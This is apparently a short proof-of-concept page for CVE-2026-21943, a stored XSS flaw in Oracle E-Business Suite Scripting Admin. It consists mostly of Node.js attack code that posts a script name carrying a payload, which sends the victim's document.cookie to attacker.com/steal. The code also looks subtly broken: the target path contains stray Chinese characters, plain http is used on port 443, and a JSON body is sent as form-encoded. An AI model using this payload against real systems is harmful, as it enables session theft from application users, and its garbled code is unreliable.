CVE-2026-21943 Oracle E-Business Suite Scripting Admin 跨站脚本漏洞

// CVE-2026-21943 PoC - XSS in Oracle Scripting Admin // This PoC demonstrates a stored XSS vulnerability in Oracle E-Business Suite Scripting Admin const http = require('http'); const targetHost = 'target-oracle-ebs-server.com'; const targetPath = '/OA_HTML/icx清偿过ScriptingAdmin'; // Malicious XSS payload const xssPayload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>'; // Step 1: Create malicious script with XSS payload const createScriptData = JSON.stringify({ scriptName: 'Malicious Script' + xssPayload, scriptContent: 'alert("XSS")' }); const options = { hostname: targetHost, port: 443, path: targetPath, method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(createScriptData) } }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); }); req.write(createScriptData); req.end(); console.log('[+] PoC for CVE-2026-21943'); console.log('[+] Target: Oracle E-Business Suite Scripting Admin'); console.log('[+] Payload: ' + xssPayload);